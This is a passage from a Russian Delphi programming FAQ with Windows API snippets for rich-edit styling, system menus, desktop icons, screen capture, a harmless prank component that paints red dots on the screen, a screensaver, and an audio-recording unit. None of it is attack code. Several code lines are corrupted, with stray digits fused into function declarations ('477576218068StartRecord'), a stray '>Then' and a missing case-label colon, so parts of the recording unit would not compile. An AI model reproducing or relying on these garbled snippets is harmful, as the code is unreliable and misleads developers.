                begin
                        Key := #0;
                                if fsItalic in (Sender as TRichEdit).SelAttributes.Style then
                                        (Sender as TRichEdit).SelAttributes.Style :=
                                        (Sender as TRichEdit).SelAttributes.Style - [fsItalic]
                                else
                                        (Sender as TRichEdit).SelAttributes.Style :=
                                        (Sender as TRichEdit).SelAttributes.Style + [fsItalic];
                end;
        KEY_CTRL_S:
                begin
                        Key := #0;
                        if fsStrikeout in (Sender as TRichEdit).SelAttributes.Style then
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style-[fsStrikeout]
                        else
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style+[fsStrikeout];
                end;
        KEY_CTRL_U:
                begin
                        Key := #0;
                        if fsUnderline in (Sender as TRichEdit).SelAttributes.Style then
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style-[fsUnderline]
                        else
                                (Sender as TRichEdit).SelAttributes.Style :=
                                (Sender as TRichEdit).SelAttributes.Style+[fsUnderline];
                end;
        end;
end;
К заголовку




Как создаnm нестандартную процедуру разбиения слов при переносах?
Как создание нестандартную процедуру разбиения слов при переносах для TEdit, TMemo или TRichEdit?

В следующем примере создается процедура разбиения слов при переносах для TMemo. Заметьте, что
реализованная процедура просто всегда разрешает перенос. Для дополнительной информации см.таже
документацию к сообщению EM_SETWORDBREAKPROC.
              var
               OriginalWordBreakProc : pointer;
               NewWordBreakProc : pointer;

             function MyWordBreakProc(LPTSTR  : pchar;
                                      ichCurrent : integer;
                                      cch : integer;
                                      code  : integer) : integer
                {$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
             begin
               result :=  0;
             end;

             procedure TForm1.FormCreate(Sender: TObject);
             begin
               OriginalWordBreakProc := Pointer(
                 SendMessage(Memo1.Handle,
                             EM_GETWORDBREAKPROC,
                             0,
                             0));
              {$IFDEF WIN32}
               NewWordBreakProc := @MyWordBreakProc;
              {$ELSE}
                NewWordBreakProc := MakeProcInstance(@MyWordBreakProc,
                                                     hInstance);
              {$ENDIF}
               SendMessage(Memo1.Handle,
                           EM_SETWORDBREAKPROC,
                           0,
                           longint(NewWordBreakProc));

             end;

             procedure TForm1.FormDestroy(Sender: TObject);
             begin
               SendMessage(Memo1.Handle,
                           EM_SETWORDBREAKPROC,
                           0,
                           longint(@OriginalWordBreakProc));
              {$IFNDEF WIN32}
                FreeProcInstance(NewWordBreakProc);
              {$ENDIF}
             end;

Как добавить пункт к системному меню приложения?

Последнее изменение: 08 сен 2001 (суббота), 23:49:02

Как добавить пункт к системному меню приложения?
Пример:

 type
   TForm1 = class(TForm)
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
     procedure WMSysCommand(var Msg: TWMSysCommand);
       message WM_SYSCOMMAND;
   public
     { Public declarations }
   end;

 var
   Form1: TForm1;

 implementation

 {$R *.DFM}

 const
   SC_MyMenuItem = WM_USER + 1;

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, '');
   AppendMenu(GetSystemMenu(Handle, FALSE),
              MF_STRING,
              SC_MyMenuItem,
              'My Menu Item');
 end;

 procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
 begin
   if Msg.CmdType = SC_MyMenuItem then
     ShowMessage('Got the message') else
     inherited;
 end;

К заголовку




Как взять хэндл рабочего стола для манипуляций с иконками рабочего стола?
Рабочий стол перекрыт сверху компонентом ListView.
Вам просто необходимо взять хэндл этого органа управления. Пример:

function GetDesktopListViewHandle: THandle;
var
  S: String;
begin
  Result := FindWindow('ProgMan', nil);
  Result := GetWindow(Result, GW_CHILD);
  Result := GetWindow(Result, GW_CHILD);
  SetLength(S, 40);
  GetClassName(Result, PChar(S), 39);
  if PChar(S) <> 'SysListView32' then Result := 0;
end;

После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView,определенный в модуле CommCtrl, для того, чтобы
манипулировать рабочим столом.Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32.

К примеру, следующая строка кода:

SendMessage( GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0 );
разместит иконки рабочего стола по левой стороне рабочего стола Windows.
(Borland FAQ N687, переведен Акжаном Абдулиным)
К заголовку




Как перехватить и обработать динамические изменения экрана?
Нужно перехватывать сообщение WM_DISPLAYCHANGE
type
  TForm1 = class(TForm)
    Button1: TButton;
  private
    { Private declarations }
    procedure WMDisplayChange(var Message: TMessage);
      message WM_DISPLAYCHANGE;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMDisplayChange(var Message: TMessage);
begin
{Do Something here}
  inherited;
end;
К заголовку




Как рисовать прямо на экране?
Делается так:
........................................................
Procedure DrawOnScreen; Var DC:HDC;
DesktopCanvas:TCanvas;
begin
 DC:=GetDC(0); // получили DC экрана
 try DesktopCanvas:=TCanvas.Create;
 DesktopCanvas.Handle:=DC;
  ..................
 // здесь рисуем на Canvas экрана
  ..................
 finally
    ReleaseDC(0,DC);
    DesktopCanvas.Free;
 end;
end;
........................................................
К заголовку




Как узнать и поменять разрешение монитора?
procedure ChangeDisplayResolution(x, y : word);
var
  dm : TDEVMODE;
begin
  ZeroMemory(@dm, sizeof(TDEVMODE));
  dm.dmSize := sizeof(TDEVMODE);
  dm.dmPelsWidth := x;
  dm.dmPelsHeight := y;
  dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
  ChangeDisplaySettings(dm, 0);
end;
К заголовку




Как установить количество цветов в системной палитре?
Функция GetNumColors возвращает количество цветов для актуально выбранного разрешения экрана.

function GetNumColors: LongInt;
var
   BPP: Integer;
   DC: HDC;
begin
   DC := CreateDC('DISPLAY', nil, nil, nil);
   if DC <> 0 then begin
      try
         BPP := GetDeviceCaps(DC, BITPIXEL) * GetDeviceCaps(DC, PLANES);
      finally
         DeleteDC(DC);
      end;
      case BPP of
         1: Result := 2;
         4: Result := 16;
         8: Result := 256;
         15: Result := 32768;
         16: Result := 65536;
         24: Result := 16777216;
      end;
   end else
      Result := 0;
end;

К заголовку




Копирование экрана?
unit ScrnCap;
interface
uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;

 { Копирует прямоугольную область экрана }
function CaptureScreenRect(ARect : TRect) : TBitmap;
 { Копирование всего экрана }
function CaptureScreen : TBitmap;
 { Копирование клиентской области формы или элемента }
function CaptureClientImage(Control : TControl) : TBitmap;
 { Копирование всей формы элемента }
function CaptureControlImage(Control : TControl) : TBitmap;

{===============================================================}
implementation
function GetSystemPalette : HPalette;
var
 PaletteSize  : integer;
 LogSize      : integer;
 LogPalette   : PLogPalette;
 DC           : HDC;
 Focus        : HWND;
begin
 result:=0;
 Focus:=GetFocus;
 DC:=GetDC(Focus);
 try
   PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);
   LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);
   GetMem(LogPalette, LogSize);
   try
     with LogPalette^ do
     begin
       palVersion:=$0300;
       palNumEntries:=PaletteSize;
       GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);
     end;
     result:=CreatePalette(LogPalette^);
   finally
     FreeMem(LogPalette, LogSize);
   end;
 finally
   ReleaseDC(Focus, DC);
 end;
end;


function CaptureScreenRect(ARect : TRect) : TBitmap;
var
 ScreenDC : HDC;
begin
 Result:=TBitmap.Create;
 with result, ARect do begin
  Width:=Right-Left;
  Height:=Bottom-Top;
  ScreenDC:=GetDC(0);
  try
    BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY        );
  finally
    ReleaseDC(0, ScreenDC);
  end;
  Palette:=GetSystemPalette;
 end;
end;

function CaptureScreen : TBitmap;
begin
 with Screen do
  Result:=CaptureScreenRect(Rect(0,0,Width,Height));
end;

function CaptureClientImage(Control : TControl) : TBitmap;
begin
 with Control, Control.ClientOrigin do
  result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));
end;

function CaptureControlImage(Control : TControl) : TBitmap;
begin
 with Control do
  if Parent=Nil then
    result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))
  else
   with Parent.ClientToScreen(Point(Left, Top)) do
    result:=CaptureScreenRect(Bounds(X,Y,Width,Height));
end;
end.

К заголовку




Написание текста под углом?
Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах
 Шрифт должен быть TrueType !

procedure CanvasSetTextAngle(c: TCanvas; d: single);
var   LogRec: TLOGFONT;     { Информация о шрифте }
begin
 {Читаем текущюю инф. о шрифте }
 GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );
 { Изменяем угол }
 LogRec.lfEscapement := round(d*10);
 { Устанавливаем новые параметры }
 c.Font.Handle := CreateFontIndirect(LogRec);
end;
К заголовку




Экранный вирус
Никогда не видели экранного вируса? Представьте, что Ваш экран заболел и покрылся красными пятнами :) А если эта болезнь
нападёт на какое-нибудь окно ? Всё, что нам надо, это получить контекст устройства при помощи API функции GetWindowDC и
рисовать, что душе угодно.

К исходному коду особых комментариев не требуется, скажу лишь только то, что основная часть кода находится в обработчике
события OnTimer:

type
  TScreenVirus = class(TComponent)
  private
    FTimer: TTimer;
    FInterval: Cardinal;
    FColor: TColor;
    FRadius: Integer;
  protected
    procedure OnTimer (Sender: TObject);
    procedure SetInterval (Value: Cardinal);
  public
    constructor Create (AOwner: TComponent); override;
    procedure StartInfection;
  published
    property Interval: Cardinal
      read FInterval write SetInterval;
    property Color: TColor
      read FColor write FColor default clRed;
    property Radius: Integer
      read FRadius write FRadius default 10;
  end;

constructor TScreenVirus.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);
  FTimer := TTimer.Create (Owner);
  FInterval := FTimer.Interval;
  FTimer.Enabled := False;
  FTimer.OnTimer := OnTimer;
  FColor := clRed;
  FRadius := 10;
end;

procedure TScreenVirus.StartInfection;
begin
  if Assigned (FTimer) then
    FTimer.Enabled := True;
end;

procedure TScreenVirus.SetInterval (Value: Cardinal);
begin
  if Value <> FInterval then
  begin
    FInterval := Value;
    FTimer.Interval := Interval;
  end;
end;

procedure TScreenVirus.OnTimer (Sender: TObject);
var
  hdcDesk: THandle;
  Brush: TBrush;
  X, Y: Integer;
begin
  hdcDesk := GetWindowDC (GetDesktopWindow);
  Brush := TBrush.Create;
  Brush.Color := FColor;
  SelectObject (hdcDesk, Brush.Handle);
  X := Random (Screen.Width);
  Y := Random (Screen.Height);
  Ellipse (hdcDesk, X - FRadius, Y - FRadius,
    X + FRadius, Y + FRadius);
  ReleaseDC (hdcDesk, GetDesktopWindow);
  Brush.Free;
end;

К заголовку




Как создать Screen Saver
Хранитель экрана (ScreenSaver) в Windows   это программа, размещенная в каталоге Windows или Windows\System. Расширение эта
программа должна иметь scr. При запуске ScreenSaver должен реагировать на параметры. Если первый параметр   "/p", нужно создать
окно предварительного просмотра. Если первый параметр   "/s", нужно запустить сам ScreenSaver. В ином случае нужно показать
окно настроек хранителя экрана.
Для предварительного просмотра Windows создает окно, на месте которого ScreenSaver должен что-то рисовать. Чтобы отслеживать
сообщения о перерисовке окна Preview, а также о его перемещении и закрытии, нужно создать дочернее окно в том же месте и такого
же размера. Для этого нужно использовать WinAPI. Цикл, в котором обрабатываются сообщения, удобно сделать через PeekMessage,
поскольку в этом случае можно создать событие OnIdle. В нем нужно рисовать что-то в окне предварительного просмотра.
Окно самого ScreenSaver-а можно делать без WinAPI. Для реагирования на события мыши и клавиатуры лучше всего использовать
событие OnMessage. Чтобы ScreenSaver работал в фоновом режиме рисовать нужно в обработчике события OnIdle. Причем каждый
раз нужно выполнять быструю операцию. Поскольку в окне ScreenSaver-а и в окне предварительного просмотра должно рисоваться
одно и то же, удобно сделать единую процедуру, которая бы выполняла короткое действие. В качестве параметров ей нужно
сообщать Canvas, высоту и ширину.
Поскольку, если программе не передаются никакие параметры, запускается окно настроек, то при его создании нужно проверять, где
на винчестере находится программа. Если она находится не в каталоге Windows, то нужно скопировать файл, сменив расширение на
scr.
В первом модуле находится окно хранителя экрана: ...
public
procedure OnMessage(var Msg: TMsg; var Handled: Boolean);
procedure OnIdle(Sender: TObject; var Done: Boolean);
end;
var
Form1: TForm1;
r, g, b: integer;
po: TPoint;
IniFileName: string;
procedure Draw(Canvas: TCanvas; var r, g, b: integer;
width, height: integer);
implementation
{$R *.DFM}
uses IniFiles;
procedure Draw(Canvas: TCanvas; var r, g, b: integer;
width, height: integer);
begin
with Canvas do begin
r := r + random(3) - 1;
if r < 0 then r := 0;
if r > 255 then r := 255;
g := g + random(3) - 1;
if g < 0 then g := 0;
if g > 255 then g := 255;
b := b + random(3) - 1;
if b < 0 then b := 0;
if b > 255 then b := 255;
Pen.Color := RGB(r, g, b);
LineTo(random(width), random(height));
end;
end;
procedure TForm1.OnMessage(var Msg: TMsg; var Handled: Boolean);
begin
case Msg.message of
WM_KEYDOWN, WM_KEYUP,
WM_SYSKEYDOWN, WM_SYSKEYUP,
WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN
: Close;
WM_MOUSEMOVE: begin
if (msg.pt.x <> po.x) or (msg.pt.y <> po.y) then Close;
end;
end;
end;
procedure TForm1.OnIdle(Sender: TObject; var Done: Boolean);
begin
Draw(Canvas, r, g, b, Width, Height);
Done := false;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
ini: TIniFile;
begin
Application.OnMessage := OnMessage;
Application.OnIdle := OnIdle;
{Эти два свойства можно установить при помощи Object Inspector}
BorderStyle := bsNone;
WindowState := wsMaximized;
ShowCursor(false);
GetCursorPos(po);
ini := TIniFile.Create(IniFileName);
if ini.ReadBool('settings', 'clear', true)
then Brush.Color := clBlack
else Brush.Style := bsClear;
ini.Destroy;
end;
Окно настроек:
...
{$R *.DFM}
uses IniFiles, Unit1;
procedure TForm2.FormCreate(Sender: TObject);
var
buf: array [0..127] of char;
ini: TIniFile;
begin
GetWindowsDirectory(buf, sizeof(buf));
if pos(UpperCase(buf), UpperCase(ExtractFilePath(ParamStr(0)))) <= 0 then begin
if not CopyFile(PChar(ParamStr(0)), PChar(buf + '\MyScrSaver.scr'), false)
then ShowMessage('Can not copy the file');
end;
ini := TIniFile.Create(IniFileName);
CheckBox1.Checked := ini.ReadBool('settings', 'clear', true);
ini.Destroy;
{Эти три свойства можно установить при помощи Object Inspector}
Button1.Caption := 'OK';
Button2.Caption := 'Cancel';
CheckBox1.Caption := 'Clear screen';
end;
procedure TForm2.Button1Click(Sender: TObject);
var
ini: TIniFile;
begin
ini := TIniFile.Create(IniFileName);
ini.WriteBool('settings', 'clear', CheckBox1.Checked);
ini.Destroy;
Close;
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
Close;
end;
Файл с самой программой (dpr). Чтобы открыть его выберите Project | View Source.

program Project1;
uses Forms, Graphics, Windows, Messages,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
var
 PrevWnd: hWnd;
 rect: TRect;
 can: TCanvas;

procedure Paint;
begin
 Draw(can, r, g, b, rect.Right - rect.Left, rect.Bottom - rect.Top);
end;

function MyWndProc(wnd: hWnd; msg: integer; wParam, lParam: longint): integer; stdcall;
begin
 case Msg of WM_DESTROY:
begin
 PostQuitMessage(0);
 result := 0;
 end;

WM_PAINT
begin
 paint;
 result := DefWindowProc(Wnd, Msg, wParam, lParam);
end;
else
 result := DefWindowProc(Wnd, Msg, wParam, lParam);
end;
end;

procedure Preview;
const
 ClassName = 'MyScreenSaverClass'#0;
var
 parent: hWnd;
 WndClass: TWndClass;
 msg: TMsg;
 code: integer;
begin
 val(ParamStr(2), parent, code);
 if (code <> 0) or (parent <= 0) then Exit;
 with WndClass do begin
 style := CS_PARENTDC;
 lpfnWndProc := addr(MyWndProc);
 cbClsExtra := 0;
 cbWndExtra := 0;
 hIcon := 0;
 hCursor := 0;
 hbrBackground := 0;
 lpszMenuName := nil;
 lpszClassName := ClassName;
end;

WndClass.hInstance := hInstance;
Windows.RegisterClass(WndClass);
GetWindowRect(Parent, rect);
PrevWnd := CreateWindow(ClassName, 'MyScreenSaver',
WS_CHILDWINDOW or WS_VISIBLE or WS_BORDER, 0, 0, rect.Right - rect.Left,
rect.Bottom - rect.Top, Parent, 0, hInstance, nil);
can := TCanvas.Create;
can.Handle := GetDC(PrevWnd);
can.Brush.Color := clBlack;
can.FillRect(rect);
repeat
 if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then begin
 if Msg.Message = WM_QUIT then break;
 TranslateMessage(Msg);
 DispatchMessage(Msg);
 end else Paint;
until false;

ReleaseDC(PrevWnd, can.Handle);
can.Destroy;
end;
var
c: char;
buf: array [0..127] of char;
begin
GetWindowsDirectory(buf, sizeof(buf));
IniFileName := buf + '\myinifile.ini';
if (ParamCount >= 1) and (Length(ParamStr(1)) > 1)
then c := UpCase(ParamStr(1)[2])
else c := #0;
case c of
'P': Preview;
'S': begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
else begin
Application.Initialize;
Application.CreateForm(TForm2, Form2);
Application.Run;
end;
end;
end.
К заголовку




Как запустить текущий Screen Saver
Для
этого можно использовать следующую функцию:
function RunScreenSaver : bool;
var
b : boolean;
begin
result := false;
if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,0,@b,0) <> true then exit;
if not b then exit;
PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
result := true;
end;

Сначала мы проверяем, установлен ли Screen Saver, если нет -
возвращаемся с отрицательным ответом, в противном случае -
запускаем его и возвращаем true.
К заголовку




Как изменить вид текстового курсора (каретки) edit'а или другого элемента управления Windows?
В примере показано как создать два цветных "bitmap'а": "улыбчивый" и "хмурый" и присвоить
их курсору edit'а. Для этого нужно перехватить оконную процедуру edit'а.
Чтобы сделать это заменим адрес оконной процедуры Edit'а нашим собственным, а старую
оконную процедуру будем вызывать по необходимости. Пример показывает "улыбчивый" курсор
при наборе текста и "хмурый" при забое клавишей backspace.

Пример:

unit caret1;

interface

{$IFDEF WIN32}
uses
        Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
{$ELSE}
uses
        WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
        StdCtrls;
{$ENDIF}

type
        TForm1 = class(TForm)
                Edit1: TEdit;
                procedure FormCreate(Sender: TObject);
                procedure FormDestroy(Sender: TObject);
        private
                {Private declarations}
        public
                {Public declarations}
                CaretBm : TBitmap;
                CaretBmBk : TBitmap;
                OldEditsWindowProc : Pointer;
end;

var
        Form1: TForm1;

implementation
{$R *.DFM}

type
{$IFDEF WIN32}
        WParameter = LongInt;
{$ELSE}
        WParameter = Word;
{$ENDIF}
        LParameter = LongInt;

{New windows procedure for the edit control}
function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter; ParamW : WParameter;
                        ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
begin
{Call the old edit controls windows procedure}
        NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc, WindowHandle,
                        TheMessage, ParamW, ParamL);
        if TheMessage = WM_SETFOCUS then
        begin
                CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
                ShowCaret(WindowHandle);
        end;
        if TheMessage = WM_KILLFOCUS then
        begin
                HideCaret(WindowHandle);
                DestroyCaret;
        end;
        if TheMessage = WM_KEYDOWN then
        begin
                if ParamW = VK_BACK then
                        CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0)
                else
                        CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
                ShowCaret(WindowHandle);
        end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{Create a smiling bitmap using the wingdings font}
        CaretBm := TBitmap.Create;
        CaretBm.Canvas.Font.Name := 'WingDings';
        CaretBm.Canvas.Font.Height := Edit1.Font.Height;
        CaretBm.Canvas.Font.Color := clWhite;
        CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2;
        CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2;
        CaretBm.Canvas.Brush.Color := clBlue;
        CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width, CaretBm.Height));
        CaretBm.Canvas.TextOut(1, 1, 'J');
{Create a frowming bitmap using the wingdings font}
        CaretBmBk := TBitmap.Create;
        CaretBmBk.Canvas.Font.Name := 'WingDings';
        CaretBmBk.Canvas.Font.Height := Edit1.Font.Height;
        CaretBmBk.Canvas.Font.Color := clWhite;
        CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2;
        CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2;
        CaretBmBk.Canvas.Brush.Color := clBlue;
        CaretBmBk.Canvas.FillRect(Rect(0,0, CaretBmBk.Width, CaretBmBk.Height));
        CaretBmBk.Canvas.TextOut(1, 1, 'L');
{Hook the edit controls window procedure}
        OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle,GWL_WNDPROC,
                                                                LongInt(@NewWindowProc)));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{Unhook the edit controls window procedure and clean up}
        SetWindowLong(Edit1.Handle,GWL_WNDPROC, LongInt(OldEditsWindowProc));
        CaretBm.Free;
        CaretBmBk.Free;
end;

К заголовку




Запись звука
Ниже приведен код, обрабатывающий аудиосигнал, получаемый со входа звуковой карты (SoundBlaster). Надеюсь он поможет
разобраться вам с этой сложной темой.
Включенный в код модуль RECUNIT делает всю изнурительную работу по извлечению звука со входа звуковой карты.
--------------------------------------------------------------------------------
Var

WaveRecorder : TWaveRecorder;


WaveRecorder := TwaveRecorder(2048, 4); // 4 размером 2048 байт


{ Устанавливает параметры дискретизации }
With WaveRecorder.pWavefmtEx Do
Begin
wFormatTag := WAVE_FORMAT_PCM;
nChannels := 1;
nSamplesPerSec := 20000;
wBitsPerSample := 16;
nAvgBytesPerSec := nSamplesPerSec*(wBitsPerSample div 8)*nChannels;
End;


// Затем используем вариантную запись, поскольку я не знаю
// как получить адрес самого объекта


WaveRecorder.SetupRecord(@WaveRecorder);


// Начинаем запись
WaveRecorder.StartRecord;


... При каждом заполнении буфера вызывается
процедура WaveRecorder.Processbuffer.


// Заканчиваем запись
WaveRecorder.StopRecord;
WaveRecorder.Destroy;


--------------------------------------------------------------------------------


{

Имя файла: RECUNIT.PAS V 1.01
Создан: Авг 19 1996 в 21:56 на IBM ThinkPad
Ревизия #7: Авг 22 1997, 15:01 на IBM ThinkPad
-John Mertus


Данный модуль содержит необходимые процедуры для записи звука.


Версия 1.00 - первый релиз
1.01 - добавлен TWaveInGetErrorText
}


{-----------------Unit-RECUNIT---------------------John Mertus---Авг 96---}


Unit RECUNIT;





--------------------------------------------------------------------------------



Interface

Uses

Windows, MMSystem, SysUtils, MSACM;


{ Ниже определен класс TWaveRecorder для обслуживания входа звуковой }
{ карты. Ожидается, что новый класс будет производным от TWaveRecorder }
{ и перекроет TWaveRecorder.ProcessBuffer. После начала записи данная }
{ процедура вызывается каждый раз при наличии в буфере аудио-данных. }

Const

MAX_BUFFERS = 8;

type

PWaveRecorder = ^TWaveRecorder;
TWaveRecorder = class(TObject)
Constructor Create(BfSize, TotalBuffers : Integer);
Destructor Destroy; Override;
Procedure ProcessBuffer(uMsg : Word; P : Pointer; n : Integer);
Virtual;


private
fBufferSize : Integer; // Размер буфера
BufIndex : Integer;
fTotalBuffers : Integer;


pWaveHeader : Array [0..MAX_BUFFERS-1] of PWAVEHDR;
hWaveHeader : Array [0..MAX_BUFFERS-1] of THANDLE;
hWaveBuffer : Array [0..MAX_BUFFERS-1] of THANDLE;
hWaveFmtEx : THANDLE;
dwByteDataSize : DWORD;
dwTotalWaveSize : DWORD;


RecordActive : Boolean;
bDeviceOpen : Boolean;


{ Внутренние функции класса }
Function InitWaveHeaders : Boolean;
Function AllocPCMBuffers : Boolean;
Procedure FreePCMBuffers;


Function AllocWaveFormatEx : Boolean;
Procedure FreeWaveFormatEx;


Function AllocWaveHeaders : Boolean;
Procedure FreeWaveHeader;


Function AddNextBuffer : Boolean;
Procedure CloseWaveDeviceRecord;


public
{ Public declarations }
pWaveFmtEx : PWaveFormatEx;
WaveBufSize : Integer; // Размер поля nBlockAlign
InitWaveRecorder : Boolean;
RecErrorMessage : String;
QueuedBuffers,
ProcessedBuffers : Integer;
pWaveBuffer : Array [0..MAX_BUFFERS-1] of lpstr;
WaveIn : HWAVEIN; { Дескриптор Wav-устройства }


Procedure StopRecord;
Function 477576218068StartRecord : Boolean;
Function477576218068 SetupRecord(P : PWaveRecorder) : Boolean;


end;


--------------------------------------------------------------------------------



implementation

{-------------TWaveInGetErrorText-----------John Mertus---14-Июнь--97--}


Function TWaveInGetErrorText(iErr : Integer) : String;

{ Выдает сообщения об ошибках WaveIn в формате Pascal }
{ iErr - номер ошибки }



--------------------------------------------------------------------------------


Var

PlayInErrorMsgC : Array [0..255] of Char;

Begin

waveInGetErrorText(iErr,PlayInErrorMsgC,255);
TWaveInGetErrorText := StrPas(PlayInErrorMsgC);
End;

{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}


Function TWaveRecorder.AllocWaveFormatEx : Boolean;

{ Распределяем формат большого размера, требуемый для инсталляции ACM-в}



--------------------------------------------------------------------------------


Var

MaxFmtSize : UINT;

BEGIN

{ maxFmtSize - сумма sizeof(WAVEFORMATEX) + pwavefmtex.cbSize }
If( acmMetrics( 0, ACM_METRIC_MAX_SIZE_FORMAT, maxFmtSize ) <> 0) >Then
Begin
RecErrorMessage := 'Ошибка получения размера формата максимального сжатия';
AllocWaveFormatEx := False;
Exit;
End;


{ распределяем структуру WAVEFMTEX }
hWaveFmtEx := GlobalAlloc(GMEM_MOVEABLE, maxFmtSize);
If (hWaveFmtEx = 0) Then
Begin
RecErrorMessage := 'Ошибка распределения памяти для структуры WaveFormatEx';
AllocWaveFormatEx := False;
Exit;
End;


pWaveFmtEx := PWaveFormatEx(GlobalLock(hWaveFmtEx));
If (pWaveFmtEx = Nil) Then
Begin
RecErrorMessage := 'Ошибка блокировки памяти WaveFormatEx';
AllocWaveFormatEx := False;
Exit;
End;


{ инициализация формата в стандарте PCM }
ZeroMemory( pwavefmtex, maxFmtSize );
pwavefmtex.wFormatTag := WAVE_FORMAT_PCM;
pwavefmtex.nChannels := 1;
pwavefmtex.nSamplesPerSec := 20000;
pwavefmtex.nBlockAlign := 1;
pwavefmtex.wBitsPerSample := 16;
pwavefmtex.nAvgBytesPerSec := pwavefmtex.nSamplesPerSec*
(pwavefmtex.wBitsPerSample div 8)*pwavefmtex.nChannels;
pwavefmtex.cbSize := 0;


{ Все успешно, идем домой }
AllocWaveFormatEx := True;
end;

{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}


Function TWaveRecorder.InitWaveHeaders : Boolean;

{ Распределяем память, обнуляем заголовок wave и инициализируем }



--------------------------------------------------------------------------------


Var

i : Integer;

BEGIN

{ делаем размер буфера кратным величине блока... }
WaveBufSize := fBufferSize - (fBufferSize mod pwavefmtex.nBlockAlign);


{ Устанавливаем wave-заголовки }
For i := 0 to fTotalBuffers-1 Do
With pWaveHeader[i]^ Do
Begin
lpData := pWaveBuffer[i]; // адрес буфера waveform
dwBufferLength := WaveBufSize; // размер, в байтах, буфера
dwBytesRecorded := 0; // смотри ниже
dwUser := 0; // 32 бита данных пользователя
dwFlags := 0; // смотри ниже
dwLoops := 0; // смотри ниже
lpNext := Nil; // зарезервировано; должен быть ноль
reserved := 0; // зарезервировано; должен быть ноль
End;


InitWaveHeaders := TRUE;
END;


{-------------AllocWaveHeader----------------John Mertus---14-Июнь--97--}


Function TWaveRecorder.AllocWaveHeaders : Boolean;


{ Распределяем и блокируем память заголовка }



--------------------------------------------------------------------------------


Var

i : Integer;

BEGIN

For i := 0 to fTotalBuffers-1 Do
begin
hwaveheader[i] := GlobalAlloc( GMEM_MOVEABLE or GMEM_SHARE or
GMEM_ZEROINIT, sizeof(TWAVEHDR));

if (hwaveheader[i] = 0) Then
begin
{ Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
RecErrorMessage := 'Ошибка распределения памяти для wave-заголовка';
AllocWaveHeaders := FALSE;
Exit;
end;


pwaveheader[i] := GlobalLock (hwaveheader[i]);
If (pwaveheader[i] = Nil ) Then
begin
{ Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
RecErrorMessage := 'Не могу заблокировать память заголовка для записи';
AllocWaveHeaders := FALSE;
Exit;
end;


End;


AllocWaveHeaders := TRUE;
END;

{---------------FreeWaveHeader---------------John Mertus---14-Июнь--97--}


Procedure TWaveRecorder.FreeWaveHeader;

{ Просто освобождаем распределенную AllocWaveHeaders память. }



--------------------------------------------------------------------------------


Var

i : Integer;

BEGIN

For i := 0 to fTotalBuffers-1 Do
begin
If (hWaveHeader[i] <> 0) Then
Begin
GlobalUnlock(hwaveheader[i]);
GlobalFree(hwaveheader[i]);
hWaveHeader[i] := 0;
End
end;
END;


{-------------AllocPCMBuffers----------------John Mertus---14-Июнь--97--}


Function TWaveRecorder.AllocPCMBuffers : Boolean;

{ Распределяем и блокируем память waveform. }



--------------------------------------------------------------------------------


Var

i : Integer;

BEGIN

For i := 0 to fTotalBuffers-1 Do
begin
hWaveBuffer[i] := GlobalAlloc( GMEM_MOVEABLE or GMEM_SHARE, fBufferSize );
If (hWaveBuffer[i] = 0) Then
begin
{ Здесь возможна утечка памяти }
RecErrorMessage := 'Ошибка распределения памяти wave-буфера';
AllocPCMBuffers := False;
Exit;
end;


pWaveBuffer[i] := GlobalLock(hWaveBuffer[i]);
